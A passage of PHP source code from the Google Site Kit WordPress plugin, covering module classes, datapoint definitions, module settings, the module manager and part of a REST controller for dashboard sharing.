client when it is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now returns Google_Site_Kit_Client instance. * * @return Google_Site_Kit_Client Google client instance. */ protected function setup_client() { return $this->authentication->get_oauth_client()->get_client(); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now requires Google_Site_Kit_Client instance. * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) {// phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found return array(); } /** * Sets whether or not to return raw requests and returns a callback to reset to the previous value. * * @since 1.2.0 * * @param bool $defer Whether or not to return raw requests. * @return callable Callback function that resets to the original $defer value. */ protected function with_client_defer( $defer ) { return $this->get_client()->withDefer( $defer ); } /** * Parses information about the module. * * @since 1.0.0 * * @param array $info Associative array of module info. * @return array Parsed $info. */ private function parse_info( array $info ) { $info = wp_parse_args( $info, array( 'slug' => '', 'name' => '', 'description' => '', 'order' => 10, 'homepage' => '', 'feature' => '', 'depends_on' => array(), 'force_active' => static::is_force_active(), 'internal' => false, ) ); if ( empty( $info['name'] ) && ! empty( $info['slug'] ) ) { $info['name'] = $info['slug']; } $info['depends_on'] = (array) $info['depends_on']; return $info; } /** * Transforms an exception into a WP_Error object. * * @since 1.0.0 * @since 1.49.0 Uses the new `Google_Proxy::setup_url_v2` method when the `serviceSetupV2` feature flag is enabled. * @since 1.70.0 $datapoint parameter is optional. * * @param Exception $e Exception object. * @param string $datapoint Optional. Datapoint originally requested. Default is an empty string. * @return WP_Error WordPress error object. */ protected function exception_to_error( Exception $e, $datapoint = '' ) { // phpcs:ignore phpcs:enable Generic.CodeAnalysis.UnusedFunctionParameter.Found,Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed if ( $e instanceof WP_Errorable ) { return $e->to_wp_error(); } $code = $e->getCode(); $message = $e->getMessage(); $status = is_numeric( $code ) && $code ? (int) $code : 500; $reason = ''; $reconnect_url = ''; if ( $e instanceof Google_Service_Exception ) { $errors = $e->getErrors(); if ( isset( $errors[0]['message'] ) ) { $message = $errors[0]['message']; } if ( isset( $errors[0]['reason'] ) ) { $reason = $errors[0]['reason']; } } elseif ( $e instanceof Google_Proxy_Code_Exception ) { $status = 401; $code = $message; $auth_client = $this->authentication->get_oauth_client(); $message = $auth_client->get_error_message( $code ); $google_proxy = $this->authentication->get_google_proxy(); $credentials = $this->authentication->credentials()->get(); $params = array( 'code' => $e->getAccessCode(), 'site_id' => ! empty( $credentials['oauth2_client_id'] ) ? $credentials['oauth2_client_id'] : '', ); $params = $google_proxy->add_setup_step_from_error_code( $params, $code ); $reconnect_url = $google_proxy->setup_url( $params ); } if ( empty( $code ) ) { $code = 'unknown'; } $data = array( 'status' => $status, 'reason' => $reason, ); if ( ! empty( $reconnect_url ) ) { $data['reconnectURL'] = $reconnect_url; } return new WP_Error( $code, $message, $data ); } /** * Parses the string list into an array of strings. * * @since 1.15.0 * * @param string|array $items Items to parse. * @return array An array of string items. */ protected function parse_string_list( $items ) { if ( is_string( $items ) ) { $items = explode( ',', $items ); } if ( ! is_array( $items ) || empty( $items ) ) { return array(); } $items = array_map( function ( $item ) { if ( ! is_string( $item ) ) { return false; } $item = trim( $item ); if ( empty( $item ) ) { return false; } return $item; }, $items ); $items = array_filter( $items ); $items = array_values( $items ); return $items; } /** * Determines whether the current request is for shared data. * * @since 1.98.0 * * @param Data_Request $data Data request object. * @return bool TRUE if the request is for shared data, otherwise FALSE. */ protected function is_shared_data_request( Data_Request $data ) { $datapoint = $this->get_datapoint_definition( "{$data->method}:{$data->datapoint}" ); $oauth_client = $this->get_oauth_client_for_datapoint( $datapoint ); if ( $this->authentication->get_oauth_client() !== $oauth_client ) { return true; } return false; } /** * Determines whether the current module is forced to be active or not. * * @since 1.49.0 * * @return bool TRUE if the module forced to be active, otherwise FALSE. */ public static function is_force_active() { return false; } /** * Checks whether the module is shareable. * * @since 1.50.0 * * @return bool True if module is shareable, false otherwise. */ public function is_shareable() { if ( $this instanceof Module_With_Owner && $this->is_connected() ) { $datapoints = $this->get_datapoint_definitions(); foreach ( $datapoints as $datapoint ) { if ( $datapoint instanceof Shareable_Datapoint ) { return $datapoint->is_shareable(); } if ( ! empty( $datapoint['shareable'] ) ) { return true; } } } return false; } /** * Checks whether the module is recoverable. * * @since 1.78.0 * * @return bool */ public function is_recoverable() { /** * Filters the recoverable status of the module. * * @since 1.78.0 * @param bool $_ Whether or not the module is recoverable. Default: false * @param string $slug Module slug. */ return (bool) apply_filters( 'googlesitekit_is_module_recoverable', false, $this->slug ); } } <?php /** * Class Google\Site_Kit\Core\Modules\Executable_Datapoint * * @package Google\Site_Kit\Core\Modules * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\REST_API\Data_Request; /** * Interface for a datapoint that can be executed. * * @since 1.160.0 */ interface Executable_Datapoint { /** * Creates a request object. * * @since 1.160.0 * * @param Data_Request $data Data request object. */ public function create_request( Data_Request $data ); /** * Parses a response. * * @since 1.160.0 * * @param mixed $response Request response. * @param Data_Request $data Data request object. */ public function parse_response( $response, Data_Request $data ); } <?php /** * Class Google\Site_Kit\Core\Modules\Datapoint * * @package Google\Site_Kit\Core\Modules * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Class representing a datapoint definition. * * @since 1.77.0 * @access private * @ignore */ class Datapoint { /** * Service identifier. * * @since 1.77.0 * @since 1.160.0 Updated to allow a function to return the service identifier. * @var string|callable */ private $service = ''; /** * Required scopes. * * @since 1.77.0 * @var string[] */ private $scopes = array(); /** * Shareable status. * * @since 1.77.0 * @var bool */ private $shareable; /** * Request scopes message. * * @since 1.77.0 * @var string */ private $request_scopes_message; /** * Constructor. * * @since 1.77.0 * * @param array $definition Definition fields. */ public function __construct( array $definition ) { $this->shareable = ! empty( $definition['shareable'] ); if ( isset( $definition['service'] ) && ( is_string( $definition['service'] ) || is_callable( $definition['service'] ) ) ) { $this->service = $definition['service']; } if ( isset( $definition['scopes'] ) && is_array( $definition['scopes'] ) ) { $this->scopes = $definition['scopes']; } if ( isset( $definition['request_scopes_message'] ) && is_string( $definition['request_scopes_message'] ) ) { $this->request_scopes_message = $definition['request_scopes_message']; } } /** * Checks if the datapoint is shareable. * * @since 1.77.0 * * @return bool */ public function is_shareable() { return $this->shareable; } /** * Gets the service identifier. * * @since 1.77.0 * * @return string */ protected function get_service() { $service = $this->service; if ( is_callable( $this->service ) ) { $service = call_user_func( $this->service ); } return $service; } /** * Gets the list of required scopes. * * @since 1.77.0 * * @return string[] */ public function get_required_scopes() { return $this->scopes; } /** * Gets the request scopes message. * * @since 1.77.0 * * @return string */ public function get_request_scopes_message() { if ( $this->request_scopes_message ) { return $this->request_scopes_message; } return __( 'You’ll need to grant Site Kit permission to do this.', 'google-site-kit' ); } } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Data_Available_State * * @package Google\Site_Kit * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that have data available state. * * @since 1.96.0 * @access private * @ignore */ interface Module_With_Data_Available_State { /** * Checks whether the data is available for the module. * * @since 1.96.0 * * @return bool True if data is available, false otherwise. */ public function is_data_available(); /** * Sets the data available state for the module. * * @since 1.96.0 * * @return bool True on success, false otherwise. */ public function set_data_available(); /** * Resets the data available state for the module. * * @since 1.96.0 * * @return bool True on success, false otherwise. */ public function reset_data_available(); } <?php /** * Class Google\Site_Kit\Core\Modules\Module_Settings * * @package Google\Site_Kit\Core\Modules * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Storage\Setting; /** * Base class for module settings. * * @since 1.2.0 * @access private * @ignore */ abstract class Module_Settings extends Setting { /** * Registers the setting in WordPress. * * @since 1.2.0 */ public function register() { parent::register(); $this->add_option_default_filters(); } /** * Merges an array of settings to update. * * Only existing keys will be updated. * * @since 1.3.0 * * @param array $partial Partial settings array to save. * * @return bool True on success, false on failure. */ public function merge( array $partial ) { $settings = $this->get(); $partial = array_filter( $partial, function ( $value ) { return null !== $value; } ); $updated = array_intersect_key( $partial, $settings ); return $this->set( array_merge( $settings, $updated ) ); } /** * Registers a filter to ensure default values are present in the saved option. * * @since 1.2.0 */ protected function add_option_default_filters() { add_filter( 'option_' . static::OPTION, function ( $option ) { if ( ! is_array( $option ) ) { return $this->get_default(); } return $option; }, 0 ); // Fill in any missing keys with defaults. // Must run later to not conflict with legacy key migration. add_filter( 'option_' . static::OPTION, function ( $option ) { if ( is_array( $option ) ) { return $option + $this->get_default(); } return $option; }, 99 ); } /** * Gets the expected value type. * * @since 1.2.0 * * @return string The type name. */ protected function get_type() { return 'object'; } } <?php /** * Class Google\Site_Kit\Core\Modules\Modules * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\PageSpeed_Insights; use Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Modules\Search_Console; use Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Modules\Site_Verification; use Google\Site_Kit\Modules\Tag_Manager; use Exception; /** * Class managing the different modules. * * @since 1.0.0 * @access private * @ignore */ final class Modules implements Provides_Feature_Metrics { use Method_Proxy_Trait; use Feature_Metrics_Trait; const OPTION_ACTIVE_MODULES = 'googlesitekit_active_modules'; /** * Plugin context. * * @since 1.0.0 * @var Context */ private $context; /** * Option API instance. * * @since 1.0.0 * @var Options */ private $options; /** * Module Sharing Settings instance. * * @since 1.68.0 * @var Module_Sharing_Settings */ private $sharing_settings; /** * User Option API instance. * * @since 1.0.0 * @var User_Options */ private $user_options; /** * Authentication instance. * * @since 1.0.0 * @var Authentication */ private $authentication; /** * Available modules as $slug => $module pairs. * * @since 1.0.0 * @var array */ private $modules = array(); /** * Map of module slugs and which other modules they depend on. * * @since 1.0.0 * @var array */ private $dependencies = array(); /** * Map of module slugs and which other modules depend on them. * * @since 1.0.0 * @var array */ private $dependants = array(); /** * Module_Registry instance. * * @since 1.21.0 * @var Module_Registry */ private $registry; /** * Assets API instance. * * @since 1.40.0 * @var Assets */ private $assets; /** * REST_Modules_Controller instance. * * @since 1.92.0 * @var REST_Modules_Controller */ private $rest_controller; /** * REST_Dashboard_Sharing_Controller instance. * * @since 1.109.0 * @var REST_Dashboard_Sharing_Controller */ private $dashboard_sharing_controller; /** * Core module class names. * * @since 1.21.0 * @var string[] Core module class names. */ private $core_modules = array( Site_Verification::MODULE_SLUG => Site_Verification::class, Search_Console::MODULE_SLUG => Search_Console::class, Ads::MODULE_SLUG => Ads::class, Analytics_4::MODULE_SLUG => Analytics_4::class, Tag_Manager::MODULE_SLUG => Tag_Manager::class, AdSense::MODULE_SLUG => AdSense::class, PageSpeed_Insights::MODULE_SLUG => PageSpeed_Insights::class, Sign_In_With_Google::MODULE_SLUG => Sign_In_With_Google::class, Reader_Revenue_Manager::MODULE_SLUG => Reader_Revenue_Manager::class, ); /** * Constructor. * * @since 1.0.0 * * @param Context $context Plugin context. * @param Options $options Optional. Option API instance. Default is a new instance. * @param User_Options $user_options Optional. User Option API instance. Default is a new instance. * @param Authentication $authentication Optional. Authentication instance. Default is a new instance. * @param Assets $assets Optional. Assets API instance. Default is a new instance. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { $this->context = $context; $this->options = $options ?: new Options( $this->context ); $this->sharing_settings = new Module_Sharing_Settings( $this->options ); $this->user_options = $user_options ?: new User_Options( $this->context ); $this->authentication = $authentication ?: new Authentication( $this->context, $this->options, $this->user_options ); $this->assets = $assets ?: new Assets( $this->context ); $this->rest_controller = new REST_Modules_Controller( $this ); $this->dashboard_sharing_controller = new REST_Dashboard_Sharing_Controller( $this ); } /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() { add_filter( 'googlesitekit_features_request_data', function ( $body ) { $active_modules = $this->get_active_modules(); $connected_modules = array_filter( $active_modules, function ( $module ) { return $module->is_connected(); } ); $body['active_modules'] = implode( ' ', array_keys( $active_modules ) ); $body['connected_modules'] = implode( ' ', array_keys( $connected_modules ) ); return $body; } ); $this->register_feature_metrics(); $available_modules = $this->get_available_modules(); array_walk( $available_modules, function ( Module $module ) { if ( $module instanceof Module_With_Settings ) { $module->get_settings()->register(); } if ( $module instanceof Module_With_Persistent_Registration ) { $module->register_persistent(); } } ); $this->rest_controller->register(); $this->sharing_settings->register(); $this->dashboard_sharing_controller->register(); add_filter( 'googlesitekit_assets', function ( $assets ) use ( $available_modules ) { foreach ( $available_modules as $module ) { if ( $module instanceof Module_With_Assets ) { $assets = array_merge( $assets, $module->get_assets() ); } } return $assets; } ); $active_modules = $this->get_active_modules(); array_walk( $active_modules, function ( Module $module ) { $module->register(); } ); add_filter( 'googlesitekit_inline_base_data', $this->get_method_proxy( 'inline_js_data' ) ); add_filter( 'googlesitekit_inline_tracking_data', $this->get_method_proxy( 'inline_js_data' ) ); add_filter( 'googlesitekit_inline_modules_data', $this->get_method_proxy( 'inline_modules_data' ) ); add_filter( 'googlesitekit_dashboard_sharing_data', function ( $data ) { $data['sharedOwnershipModules'] = array_keys( $this->get_shared_ownership_modules() ); $data['defaultSharedOwnershipModuleSettings'] = $this->populate_default_shared_ownership_module_settings( array() ); return $data; } ); add_filter( 'googlesitekit_module_exists', function ( $exists, $slug ) { return $this->module_exists( $slug ); }, 10, 2 ); add_filter( 'googlesitekit_is_module_recoverable', function ( $recoverable, $slug ) { return $this->is_module_recoverable( $slug ); }, 10, 2 ); add_filter( 'googlesitekit_is_module_connected', function ( $connected, $slug ) { return $this->is_module_connected( $slug ); }, 10, 2 ); add_filter( 'option_' . Module_Sharing_Settings::OPTION, $this->get_method_proxy( 'populate_default_shared_ownership_module_settings' ) ); add_filter( 'default_option_' . Module_Sharing_Settings::OPTION, $this->get_method_proxy( 'populate_default_shared_ownership_module_settings' ), 20 ); $this->sharing_settings->on_change( function ( $old_values, $values ) { if ( is_array( $values ) && is_array( $old_values ) ) { array_walk( $values, function ( $value, $module_slug ) use ( $old_values ) { if ( ! $this->module_exists( $module_slug ) ) { return; } $module = $this->get_module( $module_slug ); if ( ! $module instanceof Module_With_Service_Entity ) { // If the option was just added, set the ownerID directly and bail. if ( empty( $old_values ) ) { $module->get_settings()->merge( array( 'ownerID' => get_current_user_id(), ) ); return; } $changed_settings = false; if ( is_array( $value ) ) { array_walk( $value, function ( $setting, $setting_key ) use ( $old_values, $module_slug, &$changed_settings ) { // Check if old value is an array and set, then compare both arrays. if ( is_array( $setting ) && isset( $old_values[ $module_slug ][ $setting_key ] ) && is_array( $old_values[ $module_slug ][ $setting_key ] ) ) { sort( $setting ); sort( $old_values[ $module_slug ][ $setting_key ] ); if ( $setting !== $old_values[ $module_slug ][ $setting_key ] ) { $changed_settings = true; } } elseif ( // If we don't have the old values or the types are different, then we have updated settings. ! isset( $old_values[ $module_slug ][ $setting_key ] ) || gettype( $setting ) !== gettype( $old_values[ $module_slug ][ $setting_key ] ) || $setting !== $old_values[ $module_slug ][ $setting_key ] ) { $changed_settings = true; } } ); } if ( $changed_settings ) { $module->get_settings()->merge( array( 'ownerID' => get_current_user_id(), ) ); } } } ); } } ); } /** * Adds / modifies data to pass to JS. * * @since 1.78.0 * * @param array $data Inline JS data. * @return array Filtered $data. */ private function inline_js_data( $data ) { $all_active_modules = $this->get_active_modules(); $non_internal_active_modules = array_filter( $all_active_modules, function ( Module $module ) { return false === $module->internal; } ); $data['activeModules'] = array_keys( $non_internal_active_modules ); return $data; } /** * Populates modules data to pass to JS. * * @since 1.96.0 * * @param array $modules_data Inline modules data. * @return array Inline modules data. */ private function inline_modules_data( $modules_data ) { $available_modules = $this->get_available_modules(); foreach ( $available_modules as $module ) { if ( $module instanceof Module_With_Data_Available_State ) { $modules_data[ 'data_available_' . $module->slug ] = $this->is_module_active( $module->slug ) && $module->is_connected() && $module->is_data_available(); } } return $modules_data; } /** * Gets the reference to the Module_Sharing_Settings instance. * * @since 1.69.0 * * @return Module_Sharing_Settings An instance of the Module_Sharing_Settings class. */ public function get_module_sharing_settings() { return $this->sharing_settings; } /** * Gets the available modules. * * @since 1.0.0 * @since 1.85.0 Filter out modules which are missing any of the dependencies specified in `depends_on`. * * @return array Available modules as $slug => $module pairs. */ public function get_available_modules() { if ( empty( $this->modules ) ) { $module_classes = $this->get_registry()->get_all(); foreach ( $module_classes as $module_class ) { $instance = new $module_class( $this->context, $this->options, $this->user_options, $this->authentication, $this->assets ); $this->modules[ $instance->slug ] = $instance; $this->dependencies[ $instance->slug ] = array(); $this->dependants[ $instance->slug ] = array(); } uasort( $this->modules, function ( Module $a, Module $b ) { if ( $a->order === $b->order ) { return 0; } return ( $a->order < $b->order ) ? -1 : 1; } ); // Remove any modules which are missing dependencies. This may occur as the result of a dependency // being removed via the googlesitekit_available_modules filter. $this->modules = array_filter( $this->modules, function ( Module $module ) { foreach ( $module->depends_on as $dependency ) { if ( ! isset( $this->modules[ $dependency ] ) ) { return false; } } return true; } ); // Set up dependency maps. foreach ( $this->modules as $module ) { foreach ( $module->depends_on as $dependency ) { if ( $module->slug === $dependency ) { continue; } $this->dependencies[ $module->slug ][] = $dependency; $this->dependants[ $dependency ][] = $module->slug; } } } return $this->modules; } /** * Gets the active modules. * * @since 1.0.0 * * @return array Active modules as $slug => $module pairs. */ public function get_active_modules() { $modules = $this->get_available_modules(); $option = $this->get_active_modules_option(); return array_filter( $modules, function ( Module $module ) use ( $option ) { // Force active OR manually active modules. return $module->force_active || in_array( $module->slug, $option, true ); } ); } /** * Gets the connected modules. * * @since 1.105.0 * * @return array Connected modules as $slug => $module pairs. */ public function get_connected_modules() { $modules = $this->get_available_modules(); return array_filter( $modules, function ( Module $module ) { return $this->is_module_connected( $module->slug ); } ); } /** * Gets the module identified by the given slug. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return Module Module for the slug. * * @throws Exception Thrown when the module slug is invalid. */ public function get_module( $slug ) { $modules = $this->get_available_modules(); if ( ! isset( $modules[ $slug ] ) ) { /* translators: %s: module slug */ throw new Exception( sprintf( __( 'Invalid module slug %s.', 'google-site-kit' ), $slug ) ); } return $modules[ $slug ]; } /** * Checks if the module exists. * * @since 1.80.0 * * @param string $slug Module slug. * @return bool True if the module exists, false otherwise. */ public function module_exists( $slug ) { try { $this->get_module( $slug ); return true; } catch ( Exception $e ) { return false; } } /** * Gets the list of module slugs the module with the given slug depends on. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return array List of slugs for other modules that are dependencies. * * @throws Exception Thrown when the module slug is invalid. */ public function get_module_dependencies( $slug ) { $modules = $this->get_available_modules(); if ( ! isset( $modules[ $slug ] ) ) { /* translators: %s: module slug */ throw new Exception( sprintf( __( 'Invalid module slug %s.', 'google-site-kit' ), $slug ) ); } return $this->dependencies[ $slug ]; } /** * Gets the list of module slugs that depend on the module with the given slug. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return array List of slugs for other modules that are dependants. * * @throws Exception Thrown when the module slug is invalid. */ public function get_module_dependants( $slug ) { $modules = $this->get_available_modules(); if ( ! isset( $modules[ $slug ] ) ) { /* translators: %s: module slug */ throw new Exception( sprintf( __( 'Invalid module slug %s.', 'google-site-kit' ), $slug ) ); } return $this->dependants[ $slug ]; } /** * Checks whether the module identified by the given slug is active. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return bool True if module is active, false otherwise. */ public function is_module_active( $slug ) { $modules = $this->get_active_modules(); return isset( $modules[ $slug ] ); } /** * Checks whether the module identified by the given slug is connected. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return bool True if module is connected, false otherwise. */ public function is_module_connected( $slug ) { if ( ! $this->is_module_active( $slug ) ) { return false; } $module = $this->get_module( $slug ); return (bool) $module->is_connected(); } /** * Checks whether the module identified by the given slug is shareable. * * @since 1.105.0 * * @param string $slug Unique module slug. * @return bool True if module is shareable, false otherwise. */ public function is_module_shareable( $slug ) { $modules = $this->get_shareable_modules(); return isset( $modules[ $slug ] ); } /** * Activates the module identified by the given slug. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return bool True on success, false on failure. */ public function activate_module( $slug ) { try { $module = $this->get_module( $slug ); } catch ( Exception $e ) { return false; } $option = $this->get_active_modules_option(); if ( in_array( $slug, $option, true ) ) { return true; } $option[] = $slug; $this->set_active_modules_option( $option ); if ( $module instanceof Module_With_Activation ) { $module->on_activation(); } return true; } /** * Checks whether the module identified by the given slug is enabled by the option. * * @since 1.46.0 * * @param string $slug Unique module slug. * @return bool True if module has been manually enabled, false otherwise. */ private function manually_enabled( $slug ) { $option = $this->get_active_modules_option(); return in_array( $slug, $option, true ); } /** * Deactivates the module identified by the given slug. * * @since 1.0.0 * * @param string $slug Unique module slug. * @return bool True on success, false on failure. */ public function deactivate_module( $slug ) { try { $module = $this->get_module( $slug ); } catch ( Exception $e ) { return false; } $option = $this->get_active_modules_option(); $key = array_search( $slug, $option, true ); if ( false === $key ) { return true; } // Prevent deactivation if force-active. if ( $module->force_active ) { return false; } unset( $option[ $key ] ); $this->set_active_modules_option( array_values( $option ) ); if ( $module instanceof Module_With_Deactivation ) { $module->on_deactivation(); } $this->sharing_settings->unset_module( $slug ); /** * Fires when a module is deactivated. * * @since 1.168.0 * * @param string $slug The slug of the deactivated module. */ do_action( 'googlesitekit_deactivate_module', $slug ); return true; } /** * Enqueues all module-specific assets. * * @since 1.7.0 */ public function enqueue_assets() { $available_modules = $this->get_available_modules(); array_walk( $available_modules, function ( Module $module ) { if ( $module instanceof Module_With_Assets ) { $module->enqueue_assets(); } } ); } /** * Gets the configured module registry instance. * * @since 1.21.0 * * @return Module_Registry */ protected function get_registry() { if ( ! $this->registry instanceof Module_Registry ) { $this->registry = $this->setup_registry(); } return $this->registry; } /** * Sets up a fresh module registry instance. * * @since 1.21.0 * * @return Module_Registry */ protected function setup_registry() { $registry = new Module_Registry(); /** * Filters core module slugs before registering them in the module registry. Each slug presented on this array will * be registered for inclusion. If a module is forced to be active, then it will be included even if the module slug is * removed from this filter. * * @since 1.49.0 * * @param array $available_modules An array of core module slugs available for registration in the module registry. * @return array An array of filtered module slugs. */ $available_modules = (array) apply_filters( 'googlesitekit_available_modules', array_keys( $this->core_modules ) ); $modules = array_fill_keys( $available_modules, true ); foreach ( $this->core_modules as $slug => $module ) { if ( isset( $modules[ $slug ] ) || call_user_func( array( $module, 'is_force_active' ) ) ) { $registry->register( $module ); } } return $registry; } /** * Gets the option containing the active modules. * * @since 1.0.0 * * @return array List of active module slugs. */ private function get_active_modules_option() { $option = $this->options->get( self::OPTION_ACTIVE_MODULES ); if ( ! is_array( $option ) ) { $option = $this->options->get( 'googlesitekit-active-modules' ); } // If both options are not arrays, use the default value. if ( ! is_array( $option ) ) { $option = array( PageSpeed_Insights::MODULE_SLUG ); } return $option; } /** * Sets the option containing the active modules. * * @since 1.0.0 * * @param array $option List of active module slugs. */ private function set_active_modules_option( array $option ) { $this->options->set( self::OPTION_ACTIVE_MODULES, $option ); } /** * Gets the shareable connected modules. * * @since 1.50.0 * @since 1.105.0 Updated to only return connected shareable modules. * * @return array Shareable modules as $slug => $module pairs. */ public function get_shareable_modules() { $all_connected_modules = $this->get_connected_modules(); return array_filter( $all_connected_modules, function ( Module $module ) { return $module->is_shareable(); } ); } /** * Lists connected modules that have a shared role. * * @since 1.163.0 * * @return array Array of module slugs. */ public function list_shared_modules() { $connected_modules = $this->get_connected_modules(); $sharing_settings = $this->get_module_sharing_settings(); $shared_slugs = array(); foreach ( $connected_modules as $slug => $module ) { $shared_roles = $sharing_settings->get_shared_roles( $slug ); if ( ! empty( $shared_roles ) ) { $shared_slugs[] = $slug; } } return $shared_slugs; } /** * Checks the given module is recoverable. * * A module is recoverable if: * - No user is identified by its owner ID * - the owner lacks the capability to authenticate * - the owner is no longer authenticated * - no user exists for the owner ID * * @since 1.69.0 * * @param Module|string $module A module instance or its slug. * @return bool True if the module is recoverable, false otherwise. */ public function is_module_recoverable( $module ) { if ( is_string( $module ) ) { try { $module = $this->get_module( $module ); } catch ( Exception $e ) { return false; } } if ( ! $module instanceof Module_With_Owner ) { return false; } $shared_roles = $this->sharing_settings->get_shared_roles( $module->slug ); if ( empty( $shared_roles ) ) { return false; } $owner_id = $module->get_owner_id(); if ( ! $owner_id || ! user_can( $owner_id, Permissions::AUTHENTICATE ) ) { return true; } $restore_user = $this->user_options->switch_user( $owner_id ); $owner_authenticated = $this->authentication->is_authenticated(); $restore_user(); if ( ! $owner_authenticated ) { return true; } return false; } /** * Gets the recoverable modules. * * @since 1.50.0 * * @return array Recoverable modules as $slug => $module pairs. */ public function get_recoverable_modules() { return array_filter( $this->get_shareable_modules(), array( $this, 'is_module_recoverable' ) ); } /** * Gets shared ownership modules. * * @since 1.70.0 * * @return array Shared ownership modules as $slug => $module pairs. */ public function get_shared_ownership_modules() { return array_filter( $this->get_shareable_modules(), function ( $module ) { return ! ( $module instanceof Module_With_Service_Entity ); } ); } /** * Inserts default settings for shared ownership modules in passed dashboard sharing settings. * * Sharing settings for shared ownership modules such as pagespeed-insights * should always be manageable by "all admins". This function inserts * this 'default' setting for their respective module slugs even when the * dashboard_sharing settings option is not defined in the database or when settings * are not set for these modules. * * @since 1.75.0 * @since 1.85.0 Renamed from filter_shared_ownership_module_settings to populate_default_shared_ownership_module_settings. * * @param array $sharing_settings The dashboard_sharing settings option fetched from the database. * @return array Dashboard sharing settings option with default settings inserted for shared ownership modules. */ protected function populate_default_shared_ownership_module_settings( $sharing_settings ) { if ( ! is_array( $sharing_settings ) ) { $sharing_settings = array(); } $shared_ownership_modules = array_keys( $this->get_shared_ownership_modules() ); foreach ( $shared_ownership_modules as $shared_ownership_module ) { if ( ! isset( $sharing_settings[ $shared_ownership_module ] ) ) { $sharing_settings[ $shared_ownership_module ] = array( 'sharedRoles' => array(), 'management' => 'all_admins', ); } } return $sharing_settings; } /** * Gets the ownerIDs of all shareable modules. * * @since 1.75.0 * * @return array Array of $module_slug => $owner_id. */ public function get_shareable_modules_owners() { $module_owners = array(); $shareable_modules = $this->get_shareable_modules(); foreach ( $shareable_modules as $module_slug => $module ) { $module_owners[ $module_slug ] = $module->get_owner_id(); } return $module_owners; } /** * Deletes sharing settings. * * @since 1.84.0 * * @return bool True on success, false on failure. */ public function delete_dashboard_sharing_settings() { return $this->options->delete( Module_Sharing_Settings::OPTION ); } /** * Gets feature metrics for the modules. * * @since 1.163.0 * * @return array Feature metrics data. */ public function get_feature_metrics() { return array( 'shared_modules' => $this->list_shared_modules(), ); } } <?php /** * Class Google\Site_Kit\Core\Modules\REST_Dashboard_Sharing_Controller * * @package Google\Site_Kit\Core\Modules * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\Util\Collection_Key_Cap_Filter; use WP_REST_Request; use WP_REST_Response; use WP_REST_Server; /** * Class for handling dashboard sharing rest routes. * * @since 1.75.0 * @access private * @ignore */ class REST_Dashboard_Sharing_Controller { /** * Modules instance. * * @since 1.75.0 * @var Modules */ protected $modules; /** * Constructor. * * @since 1.75.0 * * @param Modules $modules Modules instance. */ public function __construct( Modules $modules ) { $this->modules = $modules; } /** * Registers functionality through WordPress hooks. * * @since 1.75.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); } /** * Gets REST route instances. * * @since 1.75.0 * * @return REST_Route[] List of REST_Route objects. */ protected function get_rest_routes() { $can_manage_options = function () { return current_user_can( Permissions::MANAGE_OPTIONS ); }; return array( new REST_Route( 'core/modules/data/sharing-settings', array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $original_module_owners = $this->modules->get_shareable_modules_owners(); $sharing_settings = $this->modules->get_module_sharing_settings(); $new_sharing_settings = array_reduce( array( new Collection_Key_Cap_Filter( 'sharedRoles', Permissions::MANAGE_MODULE_SHARING_OPTIONS ), new Collection_Key_Cap_Filter( 'management', Permissions::DELEGATE_MODULE_SHARING_MANAGEMENT ), ), function ( $settings, Collection_Key_Cap_Filter $filter ) { return $filter->filter_key_by_cap( $settings ); }, (array) $request['data'] ); $sharing_settings->merge( $new_sharing_settings ); $new_module_owners = 